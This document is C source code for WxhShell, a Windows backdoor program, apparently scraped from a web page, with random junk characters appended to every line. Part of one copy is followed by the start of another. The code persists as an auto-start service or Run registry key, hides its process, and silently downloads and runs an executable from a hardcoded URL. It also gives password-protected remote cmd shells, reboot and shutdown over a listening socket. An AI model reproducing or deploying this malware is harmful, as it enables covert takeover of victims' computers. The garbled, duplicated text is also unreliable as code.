    send(wsh,msg_ws_err,strlen(msg_ws_err),0); En-eG37 l  
    else { "7iHTV  
    closesocket(wsh); xlS t  
    ExitThread(0); u6cWLV t  
    } JrS/"QSA  
    break; Y#NlbKkzu  
    } q'd6\G0 }  
  // 获取shell y7$e7~}/  
  case 's': { pO GVD  
    CmdShell(wsh); {.;MsE  
    closesocket(wsh); |OuZaCJG  
    ExitThread(0); (m~MyT#S  
    break; 6e/2X<O  
  } %GjF;dJ  
  // 退出 n"d~UV^Uw  
  case 'x': { 'I*F(4x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3-~_F*%ST  
    CloseIt(wsh); <fWho%eOK  
    break; I?Eh 0fI  
    } HO}aLp  
  // 离开 pA"pt~6  
  case 'q': { auaFP-$`f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q$~S?X5\  
    closesocket(wsh); PBR+NHrZ  
    WSACleanup(); Su6ZO'[)  
    exit(1); |4x&f!%m  
    break; el 5F>)  
        } j?3J-}XC  
  } **dGK_^T0  
  } }0}J  
SL>>]A,E<`  
  // 提示信息 X*}S(9cg\i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -P@o>#Em  
} ZLxe$.V_  
  } 6D/5vM1  
0 l G\QT  
  return; x.>z2.  
} 73Tg{~  
L)HuQVc g  
// shell模块句柄 (gs"2  
int CmdShell(SOCKET sock) W~Eq_J?I  
{ BY32)8SH  
STARTUPINFO si; FV!  
ZeroMemory(&si,sizeof(si)); o_X"+s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3,S5>~R=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m9.QGX\]  
PROCESS_INFORMATION ProcessInfo; 80c\O-{  
char cmdline[]="cmd"; Kc}FMu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J:5%ff~r\  
  return 0; VL7zU->  
} }eULcgRG  
@;JT }R H-  
// 自身启动模式 *`=V"nXw$|  
int StartFromService(void) Bn-%).-ED  
{ a~:'OW:Q  
typedef struct *.ZV.(  
{ {SCwi;m  
  DWORD ExitStatus; xH; 4lw  
  DWORD PebBaseAddress; OB;AgE@  
  DWORD AffinityMask; Jg/WE1p>  
  DWORD BasePriority; %~}9#0h)  
  ULONG UniqueProcessId; |!flR? OU  
  ULONG InheritedFromUniqueProcessId; |JnJ=@-y  
}   PROCESS_BASIC_INFORMATION; %(,JBa:G  
I>C;$Lp]  
PROCNTQSIP NtQueryInformationProcess; wvBJ?t,  
$l0^2o=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NcB^qv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rP^2MH"  
}#a d  
  HANDLE             hProcess; vb\UP&Ip  
  PROCESS_BASIC_INFORMATION pbi; N=)N   
jbMzcn~ehI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GyRU/0'BME  
  if(NULL == hInst ) return 0; HwiG~'Ah9  
*^}(LoPZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OiJ1&Fz(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); svHs&v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @0-<|,^]  
Z_ak4C  
  if (!NtQueryInformationProcess) return 0; -]A,SBs  
f0O"Hm$Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vqJiMa j@Z  
  if(!hProcess) return 0; [Xg?sdQCI  
rcY[jF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xj.6A,}^  
HT[<~c  
  CloseHandle(hProcess); ||0mfb  
[?.k8;k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !%_}Rv!JT  
if(hProcess==NULL) return 0; OU/PB  
CM!bD\5  
HMODULE hMod; }BzV<8F  
char procName[255]; 3.xsCcmP  
unsigned long cbNeeded; F  MHp a  
}c:s+P+/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4pduzO'I  
^R! qxSj  
  CloseHandle(hProcess); _RST[B.u6  
1\$xq9  
if(strstr(procName,"services")) return 1; // 以服务启动 ;mjk`6p  
 &)T5V  
  return 0; // 注册表启动 ,KdD owc  
} a[ 1^)=/DM  
)4toBDg"  
// 主模块 z)#I"$!d  
int StartWxhshell(LPSTR lpCmdLine) }N&}6U  
{ U_K"JOZ  
  SOCKET wsl; .!/DM-C  
BOOL val=TRUE; F;kY5+a7~e  
  int port=0; 1~zzQ:jAZ  
  struct sockaddr_in door; f(6`5/C  
X3-pj<JLY  
  if(wscfg.ws_autoins) Install(); )+OI}  
;}@.E@s%'  
port=atoi(lpCmdLine); nQy.?*X  
=8?y$WE  
if(port<=0) port=wscfg.ws_port; >B!E 6ah  
&)zNu  
  WSADATA data; -GCC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,&e0~  
WYSqnmi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DvB!- |ek  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _kg<K D=P  
  door.sin_family = AF_INET; )CJXk zOX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z6)b XL[f  
  door.sin_port = htons(port); mvgsf(a*'  
#.L9/b(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4'upbI  
closesocket(wsl); |;sL*Vr  
return 1; 1 j"G~TM  
} c%+/TO  
VwvL  
  if(listen(wsl,2) == INVALID_SOCKET) { M15Ce)oB1(  
closesocket(wsl); DB%}@IW"  
return 1; @6h ,#8#  
} C@d*t?  
  Wxhshell(wsl); VzD LGLH  
  WSACleanup(); ?1w{lz(P  
h K;9XJAf  
return 0; Pt5"q3ec{T  
)l?1 dR:sP  
} &n$kVNE  
x3DUz  
// 以NT服务方式启动 C2}n &{T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S!WG|75B  
{ 3 @ahN2  
DWORD   status = 0; [x{z}rYH  
  DWORD   specificError = 0xfffffff; =r|e]4  
q8A;%.ZLG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c"KN;9c,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e~oh%l^C72  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pPL)!=o!  
  serviceStatus.dwWin32ExitCode     = 0; +FomAs1*f  
  serviceStatus.dwServiceSpecificExitCode = 0; ]2E#P.-!b  
  serviceStatus.dwCheckPoint       = 0; $40G$w  
  serviceStatus.dwWaitHint       = 0; Y"H'BT!b}  
~:FF"T>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j<NZ4Rf  
  if (hServiceStatusHandle==0) return; FEY_(70  
.A6D&-&z  
status = GetLastError(); M( w'TE@  
  if (status!=NO_ERROR) tJ Bj9{  
{ :j2?v(jT_l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &u`EYxT  
    serviceStatus.dwCheckPoint       = 0; [>$?/DM  
    serviceStatus.dwWaitHint       = 0; A_e&#O  
    serviceStatus.dwWin32ExitCode     = status; c,CcKy;+  
    serviceStatus.dwServiceSpecificExitCode = specificError; .;\uh$c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qm_IU!b  
    return; h* 72 f/#  
  } C5Vlqc;  
FEH+ PKSc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [][ze2+b  
  serviceStatus.dwCheckPoint       = 0; shgZru  
  serviceStatus.dwWaitHint       = 0; lvAKL>qX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oRo[WQla  
} DD5cUlOSu  
VUon>XQ G  
// 处理NT服务事件,比如:启动、停止 s"UUo|hM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E- jJ!>&K  
{ IM$ d~C  
switch(fdwControl) |.KB  
{ r>#4Sr  
case SERVICE_CONTROL_STOP: ~9y/MR  
  serviceStatus.dwWin32ExitCode = 0; hG~HV{6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D&o ~4Qvc]  
  serviceStatus.dwCheckPoint   = 0; B/*\Ih9y  
  serviceStatus.dwWaitHint     = 0; A]laS7Q  
  { o2D;EUsNX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =pZ$oTR  
  } .sjv"D"  
  return; %I=/ y  
case SERVICE_CONTROL_PAUSE: 5dX /<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \kZ@2.pN  
  break; ;m=k FZ?  
case SERVICE_CONTROL_CONTINUE: : HM~!7e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U3jnH  
  break; }hE!0q~MfM  
case SERVICE_CONTROL_INTERROGATE: 2 g~W})e  
  break; mBxMDnh  
}; 'rNLh3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :-_"[:t 5Z  
} -_xTs(;|8  
[!C!R$AMa  
// 标准应用程序主函数 |No9eZ8>.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _?]W%R|  
{ :IX,mDO  
DUSQh+C  
// 获取操作系统版本 ? o&goiM  
OsIsNt=GetOsVer(); &_q8F,I \<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (}5};v  
mPF<2:)wv  
  // 从命令行安装 ]s0GAp"  
  if(strpbrk(lpCmdLine,"iI")) Install(); 194n   
O2":)zU.  
  // 下载执行文件 f %3MDI  
if(wscfg.ws_downexe) { /2''EF';  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1,Es'  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'C=(?H)M  
} L=<$^m  
U'^ G-@  
if(!OsIsNt) { ]XcWGQv~  
// 如果时win9x,隐藏进程并且设置为注册表启动 a ]:xsJ~  
HideProc(); GTi=VSGqF  
StartWxhshell(lpCmdLine); n {\d  
} 0nvT}[\H*  
else i%GiWanG  
  if(StartFromService()) Z`f?7/"B  
  // 以服务方式启动 /U,(u9bq  
  StartServiceCtrlDispatcher(DispatchTable); B}P!WRNmln  
else 1Vkb}A,'  
  // 普通方式启动 7|"l/s9,  
  StartWxhshell(lpCmdLine); Y3#8]Z_"}O  
7xM4=\~OG  
return 0; ^I9U<iNIL  
} 1h|qxYO  
~]24">VZf  
\irKM8]LJ  
gil:SUW1r  
=========================================== ecx_&J@D  
!u:Fn)j  
7yJE+o'  
l*(L"]  
p I.~j]*:{  
^hsr/|  
" W0;QufV  
jd2 p~W  
#include <stdio.h> \vx'+}  
#include <string.h> "!& o|!2  
#include <windows.h> 5R)IL 2~  
#include <winsock2.h> MskO Pg  
#include <winsvc.h> P8#_E{f  
#include <urlmon.h> \[|X^8j  
%__ @G_M  
#pragma comment (lib, "Ws2_32.lib") x?]fHin_  
#pragma comment (lib, "urlmon.lib") wz@[rMf  
,gW$m~\  
#define MAX_USER   100 // 最大客户端连接数 ++UxzUd  
#define BUF_SOCK   200 // sock buffer FRL;fF  
#define KEY_BUFF   255 // 输入 buffer txm6[Io  
'f0R/6h\3s  
#define REBOOT     0   // 重启 ;1s;"  
#define SHUTDOWN   1   // 关机 Vx:uqzw#  
mE=Tj%+ x  
#define DEF_PORT   5000 // 监听端口 6kMEm)YjT  
3sRI 7g  
#define REG_LEN     16   // 注册表键长度 V lkJ$f5l  
#define SVC_LEN     80   // NT服务名长度 _dECAk &b  
|9F-ZH~6  
// 从dll定义API ZFh[xg'0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _j4 K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +K8T%GAr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (uX"n`Dk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Uu@qS  
Q);}1'c  
// wxhshell配置信息 t|9vb  
struct WSCFG { @+_pj.D  
  int ws_port;         // 监听端口 xSO5?eR"u  
  char ws_passstr[REG_LEN]; // 口令 ~[kI! [  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,Y#f0  
  char ws_regname[REG_LEN]; // 注册表键名 UV</Nx)3  
  char ws_svcname[REG_LEN]; // 服务名 APJFy@l}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t'yh&44_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )iVuac]E++  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TwF.UL@G%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [,;O$j}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ONZ(0H{ 1$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l^%52m@{  
Bs|#7mA[  
}; Z2-tDp(I  
&_s^C?x  
// default Wxhshell configuration 6(7dr?^eGT  
struct WSCFG wscfg={DEF_PORT, t8;nP[`  
    "xuhuanlingzhe", rWqr-"0S.  
    1, Z#l6BXK  
    "Wxhshell", .Iz JJp  
    "Wxhshell", 4/_! F'j  
            "WxhShell Service", 6JeAXj1g+  
    "Wrsky Windows CmdShell Service", qVO,sKQ{  
    "Please Input Your Password: ", Ef@)y&hn  
  1, iA`.y9'2  
  "http://www.wrsky.com/wxhshell.exe", 2f{a||  
  "Wxhshell.exe" 5E 9R+N  
    }; Bk@EQdn  
:c Er{U8  
// 消息定义模块 jwuSne  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {9) HB:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {%RwZ'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ooCfr?E  
char *msg_ws_ext="\n\rExit."; }IdkXAB.  
char *msg_ws_end="\n\rQuit."; * bhb=~  
char *msg_ws_boot="\n\rReboot..."; [jxh$}?P  
char *msg_ws_poff="\n\rShutdown..."; c>! ^\  
char *msg_ws_down="\n\rSave to "; Au{b1n  
90-s@a3B-j  
char *msg_ws_err="\n\rErr!"; R:ecLbC  
char *msg_ws_ok="\n\rOK!"; knfmJUT  
JV8*;n%}-  
char ExeFile[MAX_PATH]; g&Uu~;jq]  
int nUser = 0; g $^Yv4  
HANDLE handles[MAX_USER]; )cL`$h4DD  
int OsIsNt; '#oH1$W]  
^ 4p$@5zH  
SERVICE_STATUS       serviceStatus; H(O|y2   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s$lJJL  
cxFyN ;7  
// 函数声明 6\v4#  
int Install(void); rJB/)4 mE  
int Uninstall(void); q0['!G%["  
int DownloadFile(char *sURL, SOCKET wsh); PsS.lhj0"  
int Boot(int flag); -a"b:Q  
void HideProc(void); I47sqz7  
int GetOsVer(void); 5^CWF|  
int Wxhshell(SOCKET wsl); gR_Exs'K  
void TalkWithClient(void *cs); w'y,$gtX/  
int CmdShell(SOCKET sock); k! x`cp  
int StartFromService(void); l<(jm{q?u  
int StartWxhshell(LPSTR lpCmdLine); l1 _"9a%H  
ux 17q>G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T[g(S0dz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B5R7geC  
?%D nIl>  
// 数据结构和表定义 Z^%HDB9^  
SERVICE_TABLE_ENTRY DispatchTable[] = ~zvZK]JoX  
{ 6\VZ 6oS  
{wscfg.ws_svcname, NTServiceMain}, eOfVBF<C2  
{NULL, NULL} J$T(p%  
}; G,1g~h%I$  
}I#_H  
// 自我安装 v-"nyy-&Z  
int Install(void) !kH 1|  
{ 0,8RA_Ca}  
  char svExeFile[MAX_PATH]; C~nL3w  
  HKEY key; 3{Zd<JYg4-  
  strcpy(svExeFile,ExeFile); LY#V)f  
_?K,Jc8j.  
// 如果是win9x系统,修改注册表设为自启动 d6 9dC*>  
if(!OsIsNt) { M6V^ur 1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kw:%B|B<T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /1bQ RI^\  
  RegCloseKey(key); 5Q8s{WQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C}pQFL{B5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  ;<%th  
  RegCloseKey(key); ~LP5hL  
  return 0; %F}d'TPx  
    } F ^m;xy  
  } W A*1_  
} M!%|IKw  
else { -3m!970  
t8.3  
// 如果是NT以上系统,安装为系统服务 |eJR3o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I SdB5Va  
if (schSCManager!=0) Im]6-#(9\|  
{ @~&^1%37)  
  SC_HANDLE schService = CreateService gkca{BJ   
  ( qagR?)N)u  
  schSCManager, ]mC5Z6,1s  
  wscfg.ws_svcname, >McEuoZx9  
  wscfg.ws_svcdisp, 5dbj{r)s6i  
  SERVICE_ALL_ACCESS, [8Z !dj   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ht]O:io`  
  SERVICE_AUTO_START, [81q 0@  
  SERVICE_ERROR_NORMAL, [F{P0({%?  
  svExeFile, e nw*[D !  
  NULL, UgZL<}  
  NULL, g'2; ///  
  NULL, UA*Kuad  
  NULL, ep*8*GmP  
  NULL FMWM:  
  ); ^f,%dM=i=  
  if (schService!=0) Blj<|\ igc  
  { 1xO-tIp/  
  CloseServiceHandle(schService); =Tfm~+7nE  
  CloseServiceHandle(schSCManager); r$x;rL4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  7mtg  
  strcat(svExeFile,wscfg.ws_svcname); {.e^1qE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hZ "Sqm]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0JqvV  
  RegCloseKey(key); eF' l_*  
  return 0; vY,D02 EMw  
    } \]dvwN3x  
  } Z.s0ddM s  
  CloseServiceHandle(schSCManager); \Xr*1DI<  
} jx ?"`;a  
} IlB*JJnl  
vkeZ!klYB  
return 1; o1-_BlZ  
} #qK5i1<  
fX>y^s?y  
// 自我卸载 J=HN~B1  
int Uninstall(void) NYzBfL x  
{ 0ZZ Wj%  
  HKEY key; wyLyPJv  
\eRct_  
if(!OsIsNt) { /Ba/gq0j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *>xCX  
  RegDeleteValue(key,wscfg.ws_regname); 6` Aw!&{  
  RegCloseKey(key); s%RG_"l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cIP%t pTW.  
  RegDeleteValue(key,wscfg.ws_regname); +*aC \4w  
  RegCloseKey(key); e{ *yV#Wl  
  return 0; Vjd>j; H  
  } Tk `|{Ph0  
} vcaPd}nf  
} JC;&]S.  
else {  _~S[  
%joU}G;"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7<Y aw,G  
if (schSCManager!=0) =F %lx[9Ye  
{ rd)W+W9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u1\r:q  
  if (schService!=0) *M$'dLn  
  { wxT( ktE  
  if(DeleteService(schService)!=0) { QV4FA&f&  
  CloseServiceHandle(schService); 4=N(@mS  
  CloseServiceHandle(schSCManager); 0sB[]E|7[s  
  return 0; a|4Q6Ycu  
  } 'rA(+-.M;  
  CloseServiceHandle(schService); Iyb_5 UmpF  
  } tJ&tNSjTi  
  CloseServiceHandle(schSCManager); qVjMflVoay  
} Jb-.x_Bf  
} >2X-98,  
^`Hb7A(  
return 1; aK 3'u   
} #7/39zTK  
Ds#BfP7a  
// 从指定url下载文件 ,J:Ro N_:  
int DownloadFile(char *sURL, SOCKET wsh) F07X9s44E  
{ p./0N.  
  HRESULT hr; aK 7 }}  
char seps[]= "/"; ~@#a*="  
char *token; +d(|Jid  
char *file; z\woTL6D]  
char myURL[MAX_PATH]; {Byh:-e<  
char myFILE[MAX_PATH]; 6RDy2JAOP  
 'S:$4j  
strcpy(myURL,sURL); v *`M3jb  
  token=strtok(myURL,seps); 2waPNb|  
  while(token!=NULL) H8 xhE~'t  
  { 0sTR`Xk  
    file=token; E]=>@EX  
  token=strtok(NULL,seps); J;4aghzY  
  } jx2{kK  
NFR>[L V  
GetCurrentDirectory(MAX_PATH,myFILE); \N$)Q.M  
strcat(myFILE, "\\"); +[_3h9BK  
strcat(myFILE, file); !SIk9~rJ  
  send(wsh,myFILE,strlen(myFILE),0); sV\K[4HG  
send(wsh,"...",3,0); dlIYzO<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0?dr(   
  if(hr==S_OK) ia_l P  
return 0; "M3;>"`G  
else W+5. lf=2>  
return 1; 2U( qyC  
90K&oof?M  
} UM<s#t`\3  
^)(tO$S  
// 系统电源模块 w4M;e;8m[U  
int Boot(int flag) p<,`l)o}~  
{ MH9vg5QKp  
  HANDLE hToken; +_+j"BT  
  TOKEN_PRIVILEGES tkp; g4952u  
6CSoQ|c{  
  if(OsIsNt) { 0%4OmLBT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %%zlqd"0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e[0"x. gu  
    tkp.PrivilegeCount = 1; n9n)eI)R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p@[ fZj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZY@ntV?  
if(flag==REBOOT) { P(/eVD#v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J0oeCb  
  return 0; !&NrbiuN  
} `uH7~ r^  
else { euVj,m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kX8NRPW  
  return 0; iq[IZdza  
} xc\zRsY`  
  } OA(.&5]  
  else { _l"nwEs  
if(flag==REBOOT) { '2ZvK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i'4.w?OZ  
  return 0; e<[ ] W4"A  
} ;_2+Y^Qb  
else { QR_h#N2h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Vzo< ma^  
  return 0; ;BYuNQr  
} I~&9c/&  
} -e sQyLx  
-6~.;M 5  
return 1; WqF$-rBJG^  
} =0!j"z=  
RZ;s_16GQ  
// win9x进程隐藏模块 V; CPn  
void HideProc(void) S!+>{JyQ  
{ X6 N&:<  
7 nFOV Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); / *PHX@  
  if ( hKernel != NULL ) %:zu68Q[  
  { 'tvuw\hhL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,?k1if(0[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7 )r L<+  
    FreeLibrary(hKernel); _53~D=  
  } ??U/Qi180  
\"Y,1in#  
return; RjVmHhX  
} V)N{Fr)&  
XmwAYf  
// 获取操作系统版本 3 yy5 l!fv  
int GetOsVer(void) D79:L:  
{ "WUS?Q  
  OSVERSIONINFO winfo; G\TO ]c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %^vT7c>  
  GetVersionEx(&winfo); I[d<SHo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]JV'z<  
  return 1; ]bY]YNt{7]  
  else $Ery&rX.  
  return 0; ovBmo2W/  
} xLDD;Qm,  
-Ou.C7ol  
// 客户端句柄模块 r$}C<a[U  
int Wxhshell(SOCKET wsl) m!ueqV"  
{ upL3M`  
  SOCKET wsh; stBe ^C  
  struct sockaddr_in client; Z0m`%(MJa  
  DWORD myID; |K06H ?6X  
v{fcQb  
  while(nUser<MAX_USER) ii-AE L  
{ y& 1@d+Lf  
  int nSize=sizeof(client); ?1a9k@[t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ne/JC(  
  if(wsh==INVALID_SOCKET) return 1; Jk6}hUH,  
\m G Y'0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T9H*]LxK  
if(handles[nUser]==0) L/V^#$  
  closesocket(wsh); });Rjg  
else jWv'`c  
  nUser++; Np/\ }J&IF  
  } Zo yO[#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -4& i t:  
NX.xE W@  
  return 0; "cPg_-n  
} HOF$(86zqA  
X["xC3 i  
// 关闭 socket %.<_+V#h  
void CloseIt(SOCKET wsh) &Xqxuy ]J  
{ mV$ebFco0  
closesocket(wsh); ng"=vmu  
nUser--; ?(R3%fU  
ExitThread(0); Es%f@$0uy  
} yy7(')wKO  
.t5.(0Xk[A  
// 客户端请求句柄 ;54NQB3L  
void TalkWithClient(void *cs) %BP>,E/w  
{ k[;)/LfhS  
<\u3p3"[4  
  SOCKET wsh=(SOCKET)cs; ?YLq iAA  
  char pwd[SVC_LEN]; D5D *$IC  
  char cmd[KEY_BUFF]; @we1#Vz.  
char chr[1]; DylO;+  
int i,j; C; N6",s!  
=abcLrf2G  
  while (nUser < MAX_USER) { jk03 Hd  
DfD >hf/  
if(wscfg.ws_passstr) { 2!Dz9m3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E,}{iqAb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4JAz{aw'b  
  //ZeroMemory(pwd,KEY_BUFF); {_-kwg{"(  
      i=0;  % D  
  while(i<SVC_LEN) { Pc`d]*BYi  
)Y7H@e\1  
  // 设置超时 t?4H9~iH  
  fd_set FdRead; A51 a/p#  
  struct timeval TimeOut; zVq!M-e  
  FD_ZERO(&FdRead); f\]?,  
  FD_SET(wsh,&FdRead); <gkE,e9  
  TimeOut.tv_sec=8; , ~O>8VbF  
  TimeOut.tv_usec=0; IMH4GVr"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $Es\ld  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,,gMUpL7_8  
iZ-R%-}B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .ybmJU*Hg  
  pwd=chr[0]; w`)5(~b  
  if(chr[0]==0xd || chr[0]==0xa) { Mw/9DrE7/  
  pwd=0; `$B?TNuch7  
  break; ~oa}gJl:}-  
  } ]P0%S@]  
  i++; &v{#yzM  
    } g Ed A hfx  
e0zP LU}  
  // 如果是非法用户,关闭 socket olE(#}7V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u ]e-IYH  
} &Q883A J  
i/x |c!E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )4L2&e`k)(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^ ` y7JXI:  
nF<K84  
while(1) { uL`#@nI  
SIJ7Y{\.  
  ZeroMemory(cmd,KEY_BUFF); f+cb83}n]  
QxYm3x5  
      // 自动支持客户端 telnet标准   |Vx [  
  j=0; +'<P W+U$  
  while(j<KEY_BUFF) { .gx^L=O:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zv;nY7B  
  cmd[j]=chr[0]; h;gc5"mG  
  if(chr[0]==0xa || chr[0]==0xd) { {aY) Qv}  
  cmd[j]=0; _;j1g%  
  break; 8tx*z"2S  
  } NP T-d  
  j++; DM^0[3XuV5  
    } tYu<(Z(l)  
'x*C#mt  
  // 下载文件 bY" zK',m  
  if(strstr(cmd,"http://")) { xsZG(Tz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x77L"5g  
  if(DownloadFile(cmd,wsh)) 2/&=:,"t,B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pl`4&y%Me  
  else r&]XNq'P9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wk|+[Rl;L  
  } L 4j#0I]lq  
  else { .q9Sg8G  
3Z XAAV  
    switch(cmd[0]) { 5whW>T  
  pU7;!u:c4%  
  // 帮助 lL)f-8DX  
